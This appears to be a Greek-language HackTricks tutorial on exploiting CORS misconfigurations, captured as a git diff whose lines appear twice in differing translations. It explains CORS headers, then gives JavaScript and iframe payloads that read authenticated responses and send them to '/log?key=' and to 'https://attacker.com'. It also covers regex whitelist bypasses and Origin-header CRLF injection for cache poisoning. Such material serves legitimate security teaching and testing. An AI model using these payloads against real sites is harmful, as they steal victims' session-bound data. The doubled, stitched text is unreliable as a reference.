Αν βρείτε έγκυρα διαπιστευτήρια, μπορείτε να χρησιμοποιήσετε περισσότερα εργαλεία σάρωσης του Metasploit για να λάβετε πληροφορίες.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>

View file

@ -2,27 +2,31 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης των HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε τα HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Τι είναι το CORS;
Η προδιαγραφή Cross-Origin Resource Sharing (CORS) **επιτρέπει στους διακομιστές να ορίζουν ποιος μπορεί να έχει πρόσβαση στους πόρους τους** και **ποιες μέθοδοι αιτήσεων HTTP επιτρέπονται** από εξωτερικές πηγές.
Το πρότυπο Cross-Origin Resource Sharing (CORS) **επιτρέπει στους διακομιστές να ορίζουν ποιος μπορεί να έχει πρόσβαση στους πόρους τους** και **ποιες μέθοδοι αιτήσεων HTTP επιτρέπονται** από εξωτερικές πηγές.
Μια πολιτική **ίδιας προέλευσης** επιβάλλει ότι ένας **διακομιστής που ζητά** έναν πόρο και ο διακομιστής που φιλοξενεί τον **πόρο** να μοιράζονται τον ίδιο πρωτόκολλο (π.χ., `http://`), το όνομα τομέα (π.χ., `internal-web.com`), και **θύρα** (π.χ., 80). Με βάση αυτήν την πολιτική, μόνο οι ιστοσελίδες από τον ίδιο τομέα και την ίδια θύρα επιτρέπεται η πρόσβαση στους πόρους.
Μια πολιτική **ίδιας προέλευσης** επιβάλλει ότι ένας **διακομιστής που ζητά** έναν πόρο και ο διακομιστής που φιλοξενεί τον **πόρο** να μοιράζονται τον ίδιο πρωτόκολλο (π.χ., `http://`), όνομα τομέα (π.χ., `internal-web.com`), και **θύρα** (π.χ., 80). Με βάση αυτήν την πολιτική, μόνο οι ιστοσελίδες από τον ίδιο τομέα και την ίδια θύρα επιτρέπεται η πρόσβαση στους πόρους.
Η εφαρμογή της πολιτικής ίδιας προέλευσης στο πλαίσιο του `http://normal-website.com/example/example.html` απεικονίζεται ως εξής:
| Διεύθυνση URL πρόσβασης | Επιτρεπτή πρόσβαση; |
| Διεύθυνση URL πρόσβασης | Επιτρεπτή πρόσβαση; |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Ναι: Ίδιο πρωτόκολλο, τομέας και θύρα |
| `http://normal-website.com/example2/` | Ναι: Ίδιο πρωτόκολλο, τομέας και θύρα |
@ -35,15 +39,15 @@
### Κεφαλίδα `Access-Control-Allow-Origin`
Αυτή η κεφαλίδα μπορεί να επιτρέψει **πολλαπλές προελεύσεις**, μια τιμή **`null`**, ή ένα χαρακτήρα τυχαίας επιλογής **`*`**. Ωστόσο, **κανένας browser δεν υποστηρίζει πολλαπλές προελεύσεις**, και η χρήση του χαρακτήρα τυχαίας επιλογής `*` υπόκειται σε **περιορισμούς**. (Ο χαρακτήρας τυχαίας επιλογής πρέπει να χρησιμοποιείται μόνος του, και η χρήση του μαζί με το `Access-Control-Allow-Credentials: true` δεν επιτρέπεται.)
Αυτή η κεφαλίδα μπορεί να επιτρέψει **πολλαπλές προελεύσεις**, μια τιμή **`null`**, ή ένα χαρακτήρα **`*`**. Ωστόσο, **κανένας περιηγητής δεν υποστηρίζει πολλαπλές προελεύσεις**, και η χρήση του χαρακτήρα `*` υπόκειται σε **περιορισμούς**. (Ο χαρακτήρας `*` πρέπει να χρησιμοποιείται μόνος του, και η χρήση του μαζί με το `Access-Control-Allow-Credentials: true` δεν επιτρέπεται.)
Αυτή η κεφαλίδα **εκδίδεται από ένα διακομιστή** σε απάντηση μιας αίτησης πόρου διασυνοριακής πρόσβασης που ξεκινήθηκε από μια ιστοσελίδα, με τον περιηγητή να προσθέτει αυτόματα μια κεφαλίδα `Origin`.
Αυτή η κεφαλίδα **εκδίδεται από ένα διακομιστή** σε απάντηση μιας αιτήσεως πόρου διασυνοριακά που ξεκινά από μια ιστοσελίδα, με τον περιηγητή να προσθέτει αυτόματα μια κεφαλίδα `Origin`.
### Κεφαλίδα `Access-Control-Allow-Credentials`
Από **προεπιλογή**, οι αιτήσεις διασυνοριακής πρόσβασης γίνονται χωρίς διαπιστευτήρια όπως cookies ή η κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διασυνοριακής πρόσβασης μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται διαπιστευτήρια ορίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.
Από **προεπιλογή**, οι αιτήσεις διασυνοριακά γίνονται χωρίς διαπιστευτήρια όπως cookies ή η κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διασυνοριακά μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται διαπιστευτήρια ορίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.
Εάν οριστεί σε `true`, ο περιηγητής θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης ή πιστοποιητικά πελάτη TLS).
Αν οριστεί σε `true`, ο περιηγητής θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης ή πιστοποιητικά πελάτη TLS).
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -78,7 +82,7 @@ xhr.send('<person><name>Arun</name></person>');
Το πρωτόκολλο **Cross-Origin Resource Sharing (CORS)** επιβάλλει αυτόν τον έλεγχο προ-πτήσης για να καθορίσει την εφικτότητα της ζητούμενης διασυνοριακής λειτουργίας ελέγχοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για ένα αίτημα προ-πτήσης, ανατρέξτε στον πλήρη οδηγό που παρέχεται από το [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Είναι σημαντικό να σημειωθεί ότι η **απουσία ενός αιτήματος προ-πτήσης δεν αναιρεί την ανάγκη για την απάντηση να περιέχει κεφαλίδες εξουσιοδότησης**. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απάντηση από το διασυνοριακό αίτημα.
Είναι σημαντικό να σημειωθεί ότι **η απουσία ενός αιτήματος προ-πτήσης δεν αναιρεί την απαίτηση για την απόκριση να περιέχει κεφαλίδες εξουσιοδότησης**. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απόκριση από το διασυνοριακό αίτημα.
Λάβετε υπόψη το παρακάτω σχήμα ενός αιτήματος προ-πτήσης που στοχεύει στη χρήση της μεθόδου `PUT` μαζί με μια προσαρμοσμένη κεφαλίδα με το όνομα `Special-Request-Header`:
```
@ -99,22 +103,22 @@ Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Αυτή η κεφαλίδα καθορίζει ποιες κεφαλίδες μπορούν να χρησιμοποιηθούν κατά την πραγματική αίτηση. Την ορίζει ο διακομιστής για να υποδείξει τις επιτρεπόμενες κεφαλίδες στις αιτήσεις από τον πελάτη.
* **`Access-Control-Allow-Headers`**: Αυτή η κεφαλίδα καθορίζει ποιες κεφαλίδες μπορούν να χρησιμοποιηθούν κατά την πραγματική αίτηση. Ο διακομιστής την ορίζει για να υποδείξει τις επιτρεπόμενες κεφαλίδες στις αιτήσεις από τον πελάτη.
* **`Access-Control-Expose-Headers`**: Μέσω αυτής της κεφαλίδας, ο διακομιστής ενημερώνει τον πελάτη σχετικά με ποιες κεφαλίδες μπορούν να εκτίθενται ως μέρος της απόκρισης εκτός από τις απλές κεφαλίδες απόκρισης.
* **`Access-Control-Max-Age`**: Αυτή η κεφαλίδα υποδεικνύει πόσο καιρό μπορούν να κρατηθούν στη μνήμη τα αποτελέσματα μιας προ-πτήσης αίτησης. Ο διακομιστής ορίζει το μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από μια προ-πτήση αίτηση μπορούν να επαναχρησιμοποιηθούν.
* **`Access-Control-Max-Age`**: Αυτή η κεφαλίδα υποδεικνύει πόσο καιρό μπορούν να κρατηθούν τα αποτελέσματα μιας προ-πτήσης αίτησης στην μνήμη cache. Ο διακομιστής ορίζει το μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από μια προ-πτήση αίτηση μπορούν να επαναχρησιμοποιηθούν.
* **`Access-Control-Request-Headers`**: Χρησιμοποιείται σε προ-πτήση αιτήσεων, αυτή η κεφαλίδα ορίζεται από τον πελάτη για να ενημερώσει τον διακομιστή σχετικά με τις κεφαλίδες HTTP που ο πελάτης θέλει να χρησιμοποιήσει στην πραγματική αίτηση.
* **`Access-Control-Request-Method`**: Αυτή η κεφαλίδα, επίσης χρησιμοποιείται σε προ-πτήση αιτήσεων, ορίζεται από τον πελάτη για να υποδείξει ποια μέθοδο HTTP θα χρησιμοποιηθεί στην πραγματική αίτηση.
* **`Origin`**: Αυτή η κεφαλίδα ορίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση της αιτήσεως διασταυρούμενης προέλευσης. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει εάν η εισερχόμενη αίτηση πρέπει να επιτραπεί ή να απορριφθεί βάσει της πολιτικής CORS.
* **`Origin`**: Αυτή η κεφαλίδα ορίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση του αιτήματος διασταυρούμενης προέλευσης. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει εάν το εισερχόμενο αίτημα πρέπει να επιτραπεί ή να απορριφθεί βάσει της πολιτικής CORS.
Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τις κεφαλίδες που ορίζονται) σε μια αίτηση **GET/POST δεν αποστέλλεται προ-πτήση αίτησης** (η αίτηση αποστέλλεται **απευθείας**), αλλά αν θέλετε να έχετε πρόσβαση στις **κεφαλίδες/σώμα της απόκρισης**, πρέπει να περιέχει μια κεφαλίδα _Access-Control-Allow-Origin_ που το επιτρέπει.\
**Συνεπώς, το CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμο).**
Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τις κεφαλίδες που ορίζονται) σε μια αίτηση **GET/POST δεν στέλνεται προ-πτήση αίτησης** (η αίτηση στέλνεται **απευθείας**), αλλά αν θέλετε να έχετε πρόσβαση στις **κεφαλίδες/σώμα της απόκρισης**, πρέπει να περιέχει μια κεφαλίδα _Access-Control-Allow-Origin_ που το επιτρέπει.\
**Επομένως, το CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμο).**
### **Προ-πτήση αιτήσεων τοπικού δικτύου**
1. **`Access-Control-Request-Local-Network`**: Αυτή η κεφαλίδα συμπεριλαμβάνεται στην αίτηση του πελάτη για να υποδείξει ότι η ερώτηση απευθύνεται σε ένα τοπικό δίκτυο. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι η αίτηση προέρχεται από το εσωτερικό του τοπικού δικτύου.
1. **`Access-Control-Request-Local-Network`**: Αυτή η κεφαλίδα συμπεριλαμβάνεται στο αίτημα του πελάτη για να υποδείξει ότι η ερώτηση απευθύνεται σε ένα τοπικό δίκτυο. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι το αίτημα προέρχεται από το εσωτερικό του τοπικού δικτύου.
2. **`Access-Control-Allow-Local-Network`**: Στην απάντηση, οι διακομιστές χρησιμοποιούν αυτήν την κεφαλίδα για να επικοινωνήσουν ότι ο προτεινόμενος πόρος επιτρέπεται να κοινοποιηθεί με οντότητες έξω από το τοπικό δίκτυο. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων διασχίζοντας διαφορετικά όρια δικτύου, εξασφαλίζοντας ελεγχόμενη πρόσβαση διατηρώντας πρωτόκολλα ασφαλείας.
Μια **έγκυρη απόκριση που επιτρέπει την αίτηση του τοπικού δικτύου** πρέπει επίσης να περιέχει στην απόκριση την κεφαλίδα `Access-Controls-Allow-Local_network: true` :
Μια **έγκυρη απόκριση που επιτρέπει το αίτημα του τοπικού δικτύου** πρέπει επίσης να περιλαμβάνει στην απόκριση την κεφαλίδα `Access-Controls-Allow-Local_network: true` :
```
HTTP/1.1 200 OK
...
@ -131,13 +135,13 @@ Content-Length: 0
Είναι επίσης δυνατό να **παρακαμφθούν οι απαιτήσεις του Τοπικού Δικτύου** εάν χρησιμοποιήσετε τη **δημόσια διεύθυνση IP ενός τοπικού σημείου** (όπως η δημόσια IP του δρομολογητή). Επειδή σε αρκετές περιπτώσεις, ακόμα κι αν η **δημόσια IP** προσπελαύνεται, εάν είναι **από το τοπικό δίκτυο**, η πρόσβαση θα επιτραπεί.
{% endhint %}
## Εκμετάλλευση ευπαθών ρυθμίσεων
## Εκμετάλλευση ευπαθειών στη ρύθμιση
Έχει παρατηρηθεί ότι η ρύθμιση του `Access-Control-Allow-Credentials` σε **`true`** είναι προϋπόθεση για τις περισσότερες **πραγματικές επιθέσεις**. Αυτή η ρύθμιση επιτρέπει στον περιηγητή να στείλει δανειακές πληροφορίες και να διαβάσει την απάντηση, ενισχύοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, το πλεονέκτημα του να κάνει κάποιος τον περιηγητή να εκδώσει μια αίτηση αντί να το κάνει μόνος του μειώνεται, καθώς η εκμετάλλευση των cookies ενός χρήστη γίνεται ανέφικτη.
Έχει παρατηρηθεί ότι η ρύθμιση του `Access-Control-Allow-Credentials` σε **`true`** είναι προϋπόθεση για τις περισσότερες **πραγματικές επιθέσεις**. Αυτή η ρύθμιση επιτρέπει στον περιηγητή να στείλει διαπιστευτήρια και να διαβάσει την απάντηση, ενισχύοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, το πλεονέκτημα του να κάνει κάποιος τον περιηγητή να εκδώσει μια αίτηση αντί να το κάνει μόνος του μειώνεται, καθώς η εκμετάλλευση των cookies ενός χρήστη γίνεται ανέφικτη.
### Εξαίρεση: Εκμετάλλευση της Τοποθεσίας Δικτύου ως Ταυτοποίηση
Υπάρχει μια εξαίρεση όπου η τοποθεσία του δικτύου του θύματος λειτουργεί ως μορφή ταυτοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιηθεί ως διαμεσολαβητής, παρακάμπτοντας την ταυτοποίηση βασισμένη σε IP για πρόσβαση σε εφαρμογές εταιρικού δικτύου. Αυτή η μέθοδος μοιράζεται ομοιότητες στην επίδραση με την ανακατεύθυνση DNS αλλά είναι πιο εύκολη στην εκμετάλλευση.
Υπάρχει μια εξαίρεση όπου η τοποθεσία του δικτύου του θύματος λειτουργεί ως μορφή ταυτοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιηθεί ως διακομιστής μεσολάβησης, παρακάμπτοντας την ταυτοποίηση βασισμένη σε IP για πρόσβαση σε εφαρμογές εταιρικού δικτύου. Αυτή η μέθοδος μοιράζεται ομοιότητες στην επίδραση με την ανακατεύθυνση DNS αλλά είναι πιο εύκολη στην εκμετάλλευση.
### Αντανάκλαση του `Origin` στο `Access-Control-Allow-Origin`
@ -154,7 +158,7 @@ location='/log?key='+this.responseText;
};
</script>
```
### Εκμετάλλευση της Προέλευσης `null`
### Εκμεταλλευόμενοι την Προέλευση `null`
Η προέλευση `null`, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Κάποιες εφαρμογές προσθέτουν αυτήν την προέλευση στη λευκή λίστα για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας κατά λάθος σε οποιονδήποτε ιστότοπο να μιμείται μια προέλευση `null` μέσω ενός iframe σε αμμώδη περιβάλλον, παρακάμπτοντας έτσι τους περιορισμούς CORS.
```html
@ -184,21 +188,21 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### Τεχνικές Παράκαμψης Κανόνων Κανονικών Εκφράσεων
Όταν αντιμετωπίζετε μια λευκή λίστα τομέων, είναι κρίσιμο να ελέγξετε τις ευκαιρίες παράκαμψης, όπως η προσάρτηση του τομέα του επιτιθέμενου σε έναν τομέα που βρίσκεται στη λευκή λίστα ή η εκμετάλλευση ευπαθειών υποτομέων. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για την επικύρωση τομέων ενδέχεται να παραβλέπουν λεπτομέρειες στις συμβάσεις ονομασίας τομέων, παρέχοντας περαιτέρω ευκαιρίες παράκαμψης.
Όταν αντιμετωπίζετε μια λευκή λίστα τομέων, είναι κρίσιμο να ελέγξετε τις ευκαιρίες παράκαμψης, όπως η προσάρτηση του τομέα του επιτιθέμενου σε έναν τομέα που βρίσκεται στη λευκή λίστα ή η εκμετάλλευση ευπαθειών υπερκατάληψης υποτομέων. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για την επικύρωση τομέων μπορεί να παραβλέπουν λεπτομέρειες στις συμβάσεις ονομασίας τομέων, παρουσιάζοντας περαιτέρω ευκαιρίες παράκαμψης.
### Προηγμένες Παρακάμψεις Κανονικών Εκφράσεων
Τα πρότυπα Regex συνήθως επικεντρώνονται σε αλφαριθμητικούς χαρακτήρες, τελεία (.), και παύλα (-), παραβλέποντας άλλες πιθανότητες. Για παράδειγμα, ένα όνομα τομέα που δημιουργείται για να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από τους περιηγητές και τα πρότυπα Regex μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η χειριστική των υποτομέων από τους περιηγητές Safari, Chrome, και Firefox σχετικά με τους χαρακτήρες κάτω παύλα στους υποτομείς επιδεικνύει πώς τέτοιες αντιφάσεις μπορούν να εκμεταλλευτούν για να παρακαμφθεί η λογική επικύρωσης τομέων.
Τα πρότυπα Regex συνήθως επικεντρώνονται σε αλφαριθμητικούς χαρακτήρες, τελεία (.), και παύλα (-), παραβλέποντας άλλες πιθανότητες. Για παράδειγμα, ένα όνομα τομέα που δημιουργείται για να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από τους περιηγητές και τα πρότυπα Regex μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η χειριστική των υποτομέων από τους περιηγητές Safari, Chrome, και Firefox για τους χαρακτήρες κάτω παύλα στους υποτομείς επιδεικνύει πώς τέτοιες αντιφάσεις μπορούν να εκμεταλλευτούν για να παρακαμφθεί η λογική επικύρωσης τομέα.
**Για περισσότερες πληροφορίες και ρυθμίσεις αυτού του ελέγχου παράκαμψης:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **και** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
### Από XSS μέσα σε έναν υποτομέα
Οι προγραμματιστές συχνά υλοποιούν μηχανισμούς προστασίας για να προστατεύσουν από την εκμετάλλευση CORS με τη λευκή λίστα τομέων που επιτρέπεται να ζητήσουν πληροφορίες. Παρά τα μέτρα αυτά, η ασφάλεια του συστήματος δεν είναι αδιάβροχη. Η παρουσία ακόμα και ενός ευάλωτου υποτομέα μέσα στους τομείς που βρίσκονται στη λευκή λίστα μπορεί να ανοίξει την πόρτα στην εκμετάλλευση CORS μέσω άλλων ευπαθειών, όπως το XSS (Cross-Site Scripting).
Για να δείτε ένα παράδειγμα, σκεφτείτε το σενάριο όπου ένας τομέας, `requester.com`, είναι στη λευκή λίστα για πρόσβαση σε πόρους από έναν άλλο τομέα, `provider.com`. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να μοιάζει κάπως έτσι:
Για να το εξηγήσουμε, να λάβετε υπόψη το σενάριο όπου ένας τομέας, `requester.com`, είναι στη λευκή λίστα για να έχει πρόσβαση σε πόρους από έναν άλλο τομέα, `provider.com`. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να μοιάζει κάπως έτσι:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -206,13 +210,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
Σε αυτή τη ρύθμιση, όλα τα υποτομεία του `requester.com` επιτρέπεται η πρόσβαση. Ωστόσο, εάν ένα υποτομέα, όπως το `sub.requester.com`, διαρρεύσει με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο `sub.requester.com` θα μπορούσε να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει κακόβουλη πρόσβαση σε πόρους στο `provider.com`.
Σε αυτή τη ρύθμιση, όλα τα υποτομεία του `requester.com` επιτρέπεται η πρόσβαση. Ωστόσο, εάν ένα υποτομέας, όπως το `sub.requester.com`, διαρρεύσει με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο `sub.requester.com` θα μπορούσε να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει κακόβουλη πρόσβαση σε πόρους στο `provider.com`.
### **Δηλητηρίαση προσωρινής μνήμης στην πλευρά του διακομιστή**
### **Δηλητηρίαση cache στην πλευρά του διακομιστή**
[**Από αυτήν την έρευνα**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Είναι δυνατόν με την εκμετάλλευση της δηλητηρίασης της προσωρινής μνήμης στην πλευρά του διακομιστή μέσω της εισαγωγής κεφαλίδων HTTP, να προκληθεί μια αποθηκευμένη ευπάθεια Cross-Site Scripting (XSS). Αυτό το σενάριο αναπτύσσεται όταν μια εφαρμογή αποτυγχάνει να απολυμάνει την κεφαλίδα `Origin` για παράνομους χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες του Internet Explorer και του Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες εισαγωγής κεφαλίδων HTTP.
Είναι δυνατόν με την εκμετάλλευση της δηλητηρίασης της cache στην πλευρά του διακομιστή μέσω της εισαγωγής κεφαλίδων HTTP, να προκληθεί μια ευπάθεια αποθηκευμένου Cross-Site Scripting (XSS). Αυτό το σενάριο αναπτύσσεται όταν μια εφαρμογή αποτυγχάνει να απολυμάνει την κεφαλίδα `Origin` για παράνομους χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες του Internet Explorer και του Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες εισαγωγής κεφαλίδων HTTP.
Λάβετε υπόψη το ακόλουθο αίτημα όπου η κεφαλίδα `Origin` είναι χειρισμένη:
```
@ -225,21 +229,21 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Ενώ δεν είναι εφικτό να εκμεταλλευτείτε απευθείας αυτή την ευπάθεια κάνοντας έναν web browser να στείλει ένα μη έγκυρο κεφαλίδα, μια δημιουργημένη αίτηση μπορεί να δημιουργηθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε έναν server-side cache να αποθηκεύσει την απόκριση και ακούσια να την παρέχει σε άλλους. Το δημιουργημένο φορτίο στοχεύει να αλλάξει το σύνολο χαρακτήρων της σελίδας σε UTF-7, έναν κωδικοποιητή χαρακτήρων που συχνά συσχετίζεται με ευπάθειες XSS λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με έναν τρόπο που μπορεί να εκτελεστεί ως script σε συγκεκριμένα πλαίσια.
